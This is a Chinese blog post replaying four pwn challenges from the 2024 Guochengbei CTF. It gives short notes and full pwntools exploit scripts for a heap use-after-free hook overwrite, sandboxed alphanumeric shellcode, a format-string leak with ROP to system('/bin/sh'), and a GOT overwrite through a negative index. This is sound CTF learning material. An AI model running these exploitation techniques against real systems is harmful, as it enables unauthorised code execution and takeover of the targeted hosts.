2024 国城杯pwn 复现_国城杯ctfpwn-优快云博客

本文链接：https://blog.youkuaiyun.com/yufeiyu66/article/details/144383208

vtable_hijack

没有去符号表好评

2.23的uaf edit可以直接堆溢出，感觉什么洞都可以打

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=remote('125.70.243.22',31194)
#p=process('./pwn')
elf=ELF('./pwn')


s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def add(idx,size):
    sla(b'choice:',b'1')
    sla(b'index:',str(idx))
    sla(b'size:',str(size))

def free(idx):
    sla(b'choice:',b'2')
    sla(b'index:',str(idx))

def edit(idx,size,content):
    sla(b'choice:',b'3')
    sla(b'index:',str(idx))
    sla(b'length:',str(size))
    sa(b'content:',content)

def show(idx):
    sla(b'choice:',b'4')
    sla(b'index:',str(idx))

def debug():
    gdb.attach(p)
    pause()

add(0,0x68)
add(1,0x68)
add(2,0x68)
add(3,0x90)

add(4,0x10)

free(3)

show(3)
p.recv()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x39bb78
lg('leak',leak)

puts_got=elf.got['puts']

#0x3f3e6 0x3f43a 0xd5c07
edit(4,0x10,b'/bin/sh\x00')
add(3,0x90)

free(1)
free(0)
free(1)


add(1,0x68)
malloc=leak+0x39bb10
addr=leak+0x39baed
#addr = malloc - 0x23
shell=leak+0xd5c07
lg('malloc',malloc)
lg('addr',addr)

edit(1,0x8,p64(addr))

add(5,0x68)

add(6,0x68)

add(7,0x68)
payload=b'a'*0x13+p64(shell)
edit(7,0x23,payload)

add(0x10,b'aaaa')
p.interactive()

Alpha_Shell

不知道为什么，我ida f5大法失败

这题就是一个纯shellcode的编写

沙箱禁用了很多的函数，这里使用openat+sendfile

附上官方的wp

from pwn import *
from ae64 import AE64
#p = process("./pwn")
p=remote('125.70.243.22',31801)
context(os="linux", arch='amd64', log_level='debug')
#p.recvuntil("\n")
shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0)
shellcode += shellcraft.sendfile(1, 3, 0, 50)
shellcode1 = AE64().encode(asm(shellcode), 'rdx', 0, 'fast')
p.send(shellcode1)
p.interactive()

Offensive_Security

静态分析要到给的libc中去

格式化字符串拿到随机数和泄露处部分的libc,计算到libc版本

接着通过两个线程的函数速度不一致在guess处覆盖掉authentication_code，获得最后的栈溢出

接着就是rop，我是直接通过system /bin/sh\x00获得本地的权限

BUT 这题其实是要用题目给gadgets获得flag的，但是我学不明白，暂时先这样吧，后面学会了再来(有点好奇比赛里面这个题目写出来的大佬是怎么不通过这个gadgets获得权限的）

事已至此，等等其他的wp吧…

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=remote(b'125.70.243.22',31808)
p=process('./pwn')
libc1=ELF('/lib/x86_64-linux-gnu/libc.so.6')

s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def debug():
    gdb.attach(p)
    pause()

sla(b'[!] Please input your Username:\n',b'%7$s')

p.recvuntil(b'\x0a')
leak=p.recv(8)
debug()
log.success(f"leak>>{leak}")

libc_leak=u64(p.recv(6)[:8].ljust(8,b'\x00'))
lg("libc_leak",libc_leak)
libc=libc_leak-0x21b780
lg('libc',libc)

sla(b'Please input your password:',leak)
ret=0x0400462
pop_rdi=0x0400661
binsh=libc+next(libc1.search(b'/bin/sh'))
system=libc+libc1.sym['system']

sla(":","1111")
sl("1111")

# debug()

payload=b'a'*40+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

sl(payload)

p.interactive()

beverage store

题目算是给了半个后门函数

我们只需把这个printf变成system，再把函数劫持到system中去即可

屏幕截图 2024-12-09 230232

scanf处只需输入负数即可修改got表

因此，思路就是，先把exit改成这个函数，实现循环，然后再利用srand或者setvbuf处修获得libc地址，改printf为system，最后改exit为前面半个后门

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')



def debug():
    gdb.attach(p)
    pause()

s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

sla(b'input yours id',b'a'*12)
elf = cdll.LoadLibrary('./libc.so.6')
elf.srand(0x61616161)

v2=elf.rand()

sla(b'Input yours id authentication code:',str(v2))
#debug()
sla(b'wine',b'-4')
sla(b'which one to choose',p64(0x40133b))

sla(b'wine',b'-5')
sla(b'which one to choose',b'aaaaaaa')
rl(b'aaaaaaa\n')
debug()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x62090
lg('leak',leak)
system=leak+libc.sym['system']

lg('system',system)

sla(b'wine',b'-7')
sa(b'which one to choose',p64(system))

sl(b'-4')
sla(b'which one to choose',p64(0x401511))

p.interactive()